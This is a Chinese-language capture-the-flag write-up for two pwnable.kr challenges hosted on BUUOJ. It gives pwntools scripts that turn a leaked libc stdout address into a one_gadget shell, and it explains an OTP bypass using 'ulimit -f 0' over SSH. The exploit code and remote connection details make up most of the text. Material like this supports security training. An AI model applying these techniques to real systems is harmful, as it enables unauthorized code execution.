pwnable.kr_exploitable

1

2

首先会将 _bss_start 也就是 IO_STDOUT 的地址打印出来,然后你给一个地址它去执行,自然想到利用one_gadget,下面输入的时候要用负数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *


r = remote("node4.buuoj.cn", 28871)
#r = process("./exploitable")

libc = ELF('./libc-2.23-32.so')
one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]

addr = u32(r.recv(4))
success("_IO_2_1_stdout_: =>"+hex(addr))
libc.address = addr - libc.sym['_IO_2_1_stdout_']
one_gadget = libc.address + one_gadget[0]

r.sendline(str(one_gadget-0x100000000)) #因为scanf用的是%d,直接输入数字太大,会被截断成0x7fffffff,所以必须输入负数

r.interactive()

3

pwnable_otp

本题会创建一个名字随机的文件,并且写入8比特的随机内容,之后把内容与输入比较,相同才能得到flag

ulimit -f的指令,它会限制能够创建文件的最大大小,如果设为0就无法创建成功,而本题没有相关检查

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

s = ssh(host='node3.buuoj.cn',user='otp',password='guest',port=25277)
s.interactive()

'''exp.py
import subprocess
subprocess.Popen(['/home/otp/otp', ''], stderr=subprocess.STDOUT)
'''

#ulimit -f 0

4